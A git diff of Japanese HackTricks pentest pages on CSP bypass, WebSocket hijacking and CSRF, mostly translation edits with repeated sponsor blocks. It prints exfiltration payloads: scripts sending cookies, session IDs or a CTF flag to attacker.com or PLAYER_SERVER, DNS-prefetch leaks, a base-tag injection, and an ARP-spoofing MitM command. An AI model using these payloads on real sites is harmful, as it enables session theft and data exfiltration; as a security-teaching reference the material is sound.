CSPバイパスの一般的なテクニックには、以下のものがあります。
|
||||
CSPバイパスの一般的な手法には、以下のようなものがあります。
|
||||
|
||||
- ホワイトリストされたドメインを使用して、CSPの設定を回避する。
|
||||
- サブドメインを使用して、CSPの設定を回避する。
|
||||
- リダイレクトを使用して、CSPの設定を回避する。
|
||||
- ホワイトリストされたドメインを使用する
|
||||
- リクエストヘッダを操作する
|
||||
- サブリソースインテグリティ(SRI)をバイパスする
|
||||
- リダイレクトを利用する
|
||||
|
||||
これらのテクニックを使用することで、CSPをバイパスし、JSONPを使用してサードパーティのエンドポイントにアクセスすることができます。ただし、これらのテクニックはセキュリティ上のリスクを伴うため、慎重に使用する必要があります。
|
||||
これらの手法を使用することで、CSPをバイパスし、JSONPを使用したクロスドメインリクエストを実現することができます。ただし、これらの手法はセキュリティ上のリスクを伴うため、慎重に使用する必要があります。
|
||||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
|
@ -276,7 +294,7 @@ CSPポリシーがフォルダを指す場合、**"/"**をエンコードする
|
|||
|
||||
オンラインの例:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
|
||||
### IframesによるJSの実行
|
||||
### IframesでのJS実行
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
||||
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
|
@ -286,8 +304,8 @@ CSPポリシーがフォルダを指す場合、**"/"**をエンコードする
|
|||
|
||||
**base-uri**ディレクティブが不足している場合、[**dangling markup injection**](../dangling-markup-html-scriptless-injection.md)を実行するために悪用することができます。
|
||||
|
||||
さらに、脆弱なページが相対パス(たとえば`/js/app.js`)を使用してスクリプトをロードしている場合、**Nonce**を使用して、**base** **tag**を悪用してスクリプトを**自分のサーバーからロードし、XSSを達成**することができます。\
|
||||
脆弱なページがhttpSで読み込まれる場合は、baseでhttpSのURLを使用してください。
|
||||
さらに、脆弱なページが相対パス(例:`/js/app.js`)を使用してスクリプトをロードしている場合、**Nonce**を使用して、**base** **tag**を悪用してスクリプトを**自分のサーバーからロードし、XSSを達成**することができます。\
|
||||
脆弱なページがhttpSでロードされている場合は、baseでhttpSのURLを使用してください。
|
||||
```html
|
||||
<base href="https://www.attacker.com/">
|
||||
```
|
||||
|
@ -326,7 +344,7 @@ default-src 'self' 'unsafe-inline'; img-src *;
|
|||
```
|
||||
`'unsafe-inline'`は、コード内で任意のスクリプトを実行できることを意味します(XSSはコードを実行できます)。また、`img-src *`は、ウェブページで任意のリソースからの画像を使用できることを意味します。
|
||||
|
||||
このCSPをバイパスする方法は、画像を介してデータを外部に流出させることです(この場合、XSSはボットによってアクセス可能なページでCSRFを悪用し、SQLiを含んだフラグを画像を介して抽出します)。
|
||||
このCSPをバイパスする方法は、画像を介してデータを外部に漏洩させることです(この場合、XSSはボットによってアクセス可能なページでCSRFを悪用し、SQLiを含んだフラグを画像を通じて抽出します)。
|
||||
```javascript
|
||||
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
|
||||
```
|
||||
|
@ -358,7 +376,7 @@ script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
|||
|
||||
#### Edge
|
||||
|
||||
Edgeでは、これだけをCSPに追加できれば十分です:**`;_`** Edgeは、**ポリシー全体を無効化**します。\
|
||||
Edgeでは、CSPにこれだけ追加できれば、**`;_`** Edgeは**ポリシー全体を無効に**します。\
|
||||
例:[http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
|
||||
|
||||
### img-src \*;によるXSS(iframe)- タイムアタック
|
||||
|
@ -437,7 +455,7 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
|
|||
```
|
||||
### 情報の漏洩 CSP + Iframe
|
||||
|
||||
ユーザーによって異なる秘密のあるページにリダイレクトする**ページがある状況を想像してみてください**。例えば、ユーザー**admin**が**redirectme.domain1.com**にアクセスすると、**adminsecret321.domain2.com**にリダイレクトされ、adminにXSSを引き起こすことができます。\
|
||||
**ページがリダイレクト**され、**ユーザーに応じて秘密のある別のページにリダイレクト**する状況を想像してみてください。例えば、ユーザー**admin**が**redirectme.domain1.com**にアクセスすると、**adminsecret321.domain2.com**にリダイレクトされ、adminにXSSを引き起こすことができます。\
|
||||
**また、リダイレクトされるページはセキュリティポリシーによって許可されていませんが、リダイレクトするページは許可されています。**
|
||||
|
||||
管理者がリダイレクトされるドメインを以下の方法で漏洩することができます:
|
||||
|
@ -445,23 +463,23 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
|
|||
* **CSP違反を通じて**
|
||||
* **CSPルールを通じて**
|
||||
|
||||
CSP違反は即座に漏洩します。`https://redirectme.domain1.com`を指すiframeを読み込み、`securitypolicyviolation`イベントを監視します。このイベントには、ブロックされたURIのドメインを含む`blockedURI`プロパティが含まれています。これは、CSPによってブロックされる`https://adminsecret321.domain2.com`にリダイレクトされるためです(CSPによってブロックされます)。これは、CSPでiframeをどのように処理するかに関する未定義の動作を利用しています。ChromeとFirefoxはこれに関して異なる動作をします。
|
||||
CSP違反は即座に漏洩します。`https://redirectme.domain1.com`を指すiframeを読み込み、`securitypolicyviolation`イベントを監視します。このイベントには、ブロックされたURIのドメインを含む`blockedURI`プロパティが含まれています。これは、CSPによってブロックされる`https://adminsecret321.domain2.com`にリダイレクトされるためです(CSPによってブロックされます)。これは、CSPを使用したiframeの未定義の動作を利用しています。ChromeとFirefoxはこれに関して異なる動作をします。
|
||||
|
||||
秘密のサブドメインを構成する可能性のある文字を知っている場合、CSPがリソースをブロックした時としなかった時を確認するために、バイナリサーチを使用して異なる禁止ドメインをCSPに作成することもできます(この場合、秘密は`doc-X-XXXX.secdrivencontent.dev`の形式である可能性があります)。
|
||||
秘密のサブドメインを構成する可能性のある文字を知っている場合、CSPがリソースをブロックした時としなかった時を確認するために、バイナリサーチを使用して異なる禁止ドメインをCSPに作成することもできます(この場合、秘密はdoc-X-XXXX.secdrivencontent.devの形式である可能性があります)。
|
||||
```
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
トリックは[**ここ**](https://ctftime.org/writeup/29310)から。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報奨金を受け取ることができます。
|
||||
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長する日々において、Web3セキュリティをマスターしましょう。
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるWeb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
@ -470,12 +488,12 @@ HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ
|
|||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
## CSPをバイパスするための安全でないテクノロジー
|
||||
## CSPをバイパスするための安全でない技術
|
||||
|
||||
### PHPレスポンスバッファの過負荷
|
||||
|
||||
PHPはデフォルトでレスポンスを4096バイトまでバッファリングすることで知られています。したがって、PHPが警告を表示している場合、**警告内に十分なデータを提供することで**、**CSPヘッダー**が**送信される前に**レスポンスが**送信**され、ヘッダーが無視されるようになります。\
|
||||
そのため、このテクニックは基本的には**警告でレスポンスバッファを埋める**ことで、CSPヘッダーが送信されないようにするものです。
|
||||
PHPはデフォルトでレスポンスを4096バイトまでバッファリングすることで知られています。したがって、PHPが警告を表示している場合、警告内に十分なデータを提供することで、CSPヘッダーの前にレスポンスが送信され、ヘッダーが無視されます。\
|
||||
そのため、この技術は基本的にはレスポンスバッファを警告で埋めることで、CSPヘッダーが送信されないようにするというものです。
|
||||
|
||||
アイデアは[**この解説**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)から得られました。
|
||||
|
||||
|
@ -523,7 +541,7 @@ document.location = "https://attacker.com/?" + sessionid;
|
|||
ページを高速に読み込むために、ブラウザはホスト名を事前に IP アドレスに解決し、後で使用するためにキャッシュします。\
|
||||
ブラウザにホスト名を事前に解決させるためには、次のように指定します:`<link reol="dns-prefetch" href="something.com">`
|
||||
|
||||
これを悪用して、**DNS リクエストを介して機密情報を漏洩**させることができます。
|
||||
これを悪用して、**DNS リクエストを介して機密情報を漏洩**することができます。
|
||||
```javascript
|
||||
var sessionid = document.cookie.split('=')[1]+".";
|
||||
var body = document.getElementsByTagName('body')[0];
|
||||
|
@ -574,7 +592,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp));
|
|||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報奨金の場です。**
|
||||
|
||||
|
@ -582,12 +600,12 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp));
|
|||
HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるweb3セキュリティをマスターしましょう。
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長するWeb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
[**HackenProofにサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
|
@ -595,10 +613,10 @@ HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFTコレクション**](https://opensea.io/collection/the-peass-family)
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**してみませんか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,10 +4,10 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
@ -19,7 +19,7 @@ WebSocketsは、金融データのリアルタイムフィードなど、**低
|
|||
|
||||
## WebSocket接続はどのように確立されますか?
|
||||
|
||||
(ここでは概要を説明しますが、**WebSocket接続の詳細なガイド**は[**こちら**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)で見つけることができます)。\
|
||||
(ここでは概要を示しますが、**WebSocket接続の詳細なガイド**は[**こちら**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)で見つけることができます)。\
|
||||
WebSocket接続は通常、次のようなクライアントサイドのJavaScriptを使用して作成されます:
|
||||
```javascript
|
||||
var ws = new WebSocket("wss://normal-website.com/chat");
|
||||
|
@ -52,7 +52,7 @@ WebSocketのハンドシェイクメッセージのいくつかの**特徴**に
|
|||
* リクエストとレスポンスの**`Connection`**と**`Upgrade`**ヘッダーは、これがWebSocketのハンドシェイクであることを示しています。
|
||||
* リクエストヘッダーの**`Sec-WebSocket-Version`**は、クライアントが使用したいWebSocketプロトコルのバージョンを指定します。通常は`13`です。
|
||||
* リクエストヘッダーの**`Sec-WebSocket-Key`**には、ベース64でエンコードされた**ランダムな値**が含まれており、各ハンドシェイクリクエストでランダムに生成する必要があります。
|
||||
* レスポンスヘッダーの**`Sec-WebSocket-Accept`**には、プロトコル仕様で定義された特定の文字列と、`Sec-WebSocket-Key`リクエストヘッダーに提出された値のハッシュが含まれています。これにより、誤った設定のサーバーやキャッシュプロキシからの誤った応答が防止されます。
|
||||
* レスポンスヘッダーの**`Sec-WebSocket-Accept`**には、プロトコル仕様で定義された特定の文字列と、`Sec-WebSocket-Key`リクエストヘッダーに提出された値のハッシュが含まれています。これにより、誤って設定されたサーバーやキャッシュプロキシからの誤った応答が防止されます。
|
||||
|
||||
**`Sec-WebSocket-Key`**ヘッダーには、キャッシュプロキシからのエラーを防ぐためのランダムな値が含まれており、認証やセッション管理の目的では使用されません(_CSRFトークンではありません_)。
|
||||
|
||||
|
@ -69,27 +69,39 @@ websocat -s 0.0.0.0:8000 #Listen in port 8000
|
|||
## MitM WebSocket接続
|
||||
|
||||
現在のローカルネットワークからクライアントが**HTTP WebSocket**に接続していることがわかった場合、[ARPスプーフィング攻撃](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)を試して、クライアントとサーバーの間でMitM攻撃を実行することができます。\
|
||||
クライアントが接続しようとしている場合、次の手順を実行できます:
|
||||
クライアントが接続しようとしている場合、次のコマンドを使用できます:
|
||||
```bash
|
||||
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||||
```
|
||||
## Websocketsの列挙
|
||||
|
||||
**ツール**[**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **を使用して、Websocketsで既知の** **脆弱性**を自動的に発見、指紋認証、検索することができます。
|
||||
[**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **というツール**を使用すると、Websocketsで自動的に既知の**脆弱性を発見、指紋認証、検索**することができます。
|
||||
|
||||
## Websocketデバッグツール
|
||||
|
||||
* **Burp Suite**は、通常のHTTP通信と同様に、MitM Websockets通信をサポートしています。
|
||||
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** "**WebSocket/Socket.io Proxy**"の略で、Node.jsで書かれたこのツールは、クライアントとサーバー間のすべてのWebSocketおよびSocket.IO通信を**キャプチャ、インターセプト、カスタムメッセージの送信**、表示するためのユーザーインターフェースを提供します。
|
||||
* [**wsrepl**](https://github.com/doyensec/wsrepl)は、特にペネトレーションテスト向けに設計された**対話型WebSocket REPL**です。これにより、**受信したWebSocketメッセージを観察し、新しいメッセージを送信**するためのインターフェースが提供され、この通信を**自動化**するための使いやすいフレームワークが備わっています。 
|
||||
* [**https://websocketking.com/**](https://websocketking.com/)は、**websockets**を使用して他のウェブサイトと**通信するためのウェブ**です。
|
||||
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket)は、他の種類の通信/プロトコルと共に、**websockets**を使用して他のウェブサイトと**通信するためのウェブ**を提供します。
|
||||
|
||||
## Websocket Lab
|
||||
|
||||
[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course)には、Websocketsを使用してウェブを起動するためのコードがあり、[**この投稿**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/)には説明があります。
|
||||
|
||||
## クロスサイトWebSocketハイジャッキング(CSWSH)
|
||||
|
||||
または、_クロスオリジンWebSocketハイジャッキング_とも呼ばれます。\
|
||||
これは、WebSocketハンドシェイクにおける**クロスサイトリクエストフォージェリ(CSRF)**です。
|
||||
|
||||
これは、**WebSocketハンドシェイク**リクエストがセッション管理に**HTTPクッキー**のみを使用し、**CSRFトークン**や他の予測不可能な値を含まない場合に発生します。\
|
||||
攻撃者は、自分自身のドメイン上に**悪意のあるウェブページ**を作成し、脆弱なアプリケーションに**クロスサイトWebSocket接続**を確立します。アプリケーションは、接続を**被害者ユーザーのセッションのコンテキスト**で処理します。
|
||||
これは、**WebSocketハンドシェイク**リクエストがセッション管理に**HTTPクッキーのみ**を使用し、**CSRFトークンや他の予測不可能な値を含まない**場合に発生します。\
|
||||
攻撃者は、**自分のドメイン上に悪意のあるウェブページ**を作成し、脆弱なアプリケーションに**クロスサイトWebSocket接続**を確立します。アプリケーションは、**被害者ユーザーのセッションのコンテキスト**で接続を処理します。
|
||||
|
||||
### 簡単な攻撃
|
||||
|
||||
**WebSocket**接続を確立する際に、**クッキー**が**サーバーに送信**されることに注意してください。**サーバー**は、**送信されたクッキーに基づいて各特定のユーザーを彼のWebSocketセッションに関連付ける**ためにそれを使用しているかもしれません。
|
||||
**websocket**接続を**確立**する際に、**クッキー**が**サーバーに送信**されることに注意してください。**サーバー**は、**送信されたクッキーに基づいて各特定のユーザーを彼のwebsocketセッションに関連付ける**かもしれません。
|
||||
|
||||
その後、**例えば**、**websocket** **サーバー**がメッセージに "**READY**" が送信された場合に、ユーザーの会話の履歴を**送り返す**場合、接続を確立する**単純なXSS**(**クッキー**は**自動的に**送信され、被害者ユーザーを認証するため)で "**READY**" を**送信**することで、会話の履歴を**取得**することができます。
|
||||
その後、**例えば**、**websocket**サーバーがユーザーの会話の履歴を返す場合、メッセージに "**READY**" が送信されると、**単純なXSS**が接続を確立します(**クッキー**は自動的に送信され、被害者ユーザーを認証します)。 "**READY**" を**送信**することで、会話の履歴を**取得**することができます。
|
||||
```markup
|
||||
<script>
|
||||
websocket = new WebSocket('wss://your-websocket-URL')
|
||||
|
@ -130,7 +142,7 @@ xhttp.send();
|
|||
return messageEvent;
|
||||
}
|
||||
```
|
||||
今、[https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) から `wsHook.js` ファイルをダウンロードし、**ウェブファイルが保存されているフォルダに保存**してください。\
|
||||
次に、[https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) から `wsHook.js` ファイルをダウンロードし、**ウェブファイルが保存されているフォルダに保存**してください。\
|
||||
ウェブアプリケーションを公開し、ユーザーがそれに接続することで、WebSocketを介して送受信されるメッセージを盗むことができます。
|
||||
```javascript
|
||||
sudo python3 -m http.server 80
|
||||
|
@ -141,7 +153,7 @@ Webソケットは、サーバーサイドとクライアントサイドにデ
|
|||
|
||||
## **WebSocket Smuggling**
|
||||
|
||||
この脆弱性により、逆プロキシの制限を回避することができます。逆プロキシは、(実際にはそうではない場合でも)Webソケット通信が確立されたと信じるようになります。これにより、攻撃者は隠されたエンドポイントにアクセスできるようになります。詳細については、次のページを参照してください。
|
||||
この脆弱性により、逆プロキシの制限を回避することができます。逆プロキシは、(実際にはそうではない場合でも)Webソケット通信が確立されたと信じるようになります。これにより、攻撃者は隠されたエンドポイントにアクセスすることができます。詳細については、次のページを参照してください:
|
||||
|
||||
{% content-ref url="h2c-smuggling.md" %}
|
||||
[h2c-smuggling.md](h2c-smuggling.md)
|
||||
|
@ -155,10 +167,10 @@ Webソケットは、サーバーサイドとクライアントサイドにデ
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,21 +6,21 @@
|
|||
|
||||
* **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有して、PRを提出してください** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報酬の場所です。**
|
||||
**HackenProofはすべての暗号バグバウンティのホームです。**
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報酬は、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のweb3セキュリティをマスターしましょう。
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長するWeb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
@ -36,7 +36,7 @@ HackenProofの報酬は、顧客が報酬予算を入金した後にのみ開始
|
|||
|
||||
### 必要条件
|
||||
|
||||
CSRFの脆弱性を悪用するためには、まず**悪用する重要なアクションを見つける必要があります**(パスワードやメールアドレスの変更、被害者をソーシャルネットワークでフォローさせる、より多くの特権を与えるなど)。セッションは**クッキーまたはHTTPベーシック認証ヘッダーにのみ依存**する必要があり、他のヘッダーはセッションの処理に使用できません。そして、リクエストに**予測不可能なパラメーターがない**必要があります。
|
||||
CSRFの脆弱性を悪用するためには、まず**悪用する重要なアクションを見つける必要があります**(パスワードやメールアドレスの変更、被害者をソーシャルネットワークでフォローさせる、より多くの特権を与えるなど)。セッションは**クッキーまたはHTTPベーシック認証ヘッダーにのみ依存**する必要があり、他のヘッダーはセッションの処理に使用できません。そして、リクエストに**予測不可能なパラメータ**がない必要があります。
|
||||
|
||||
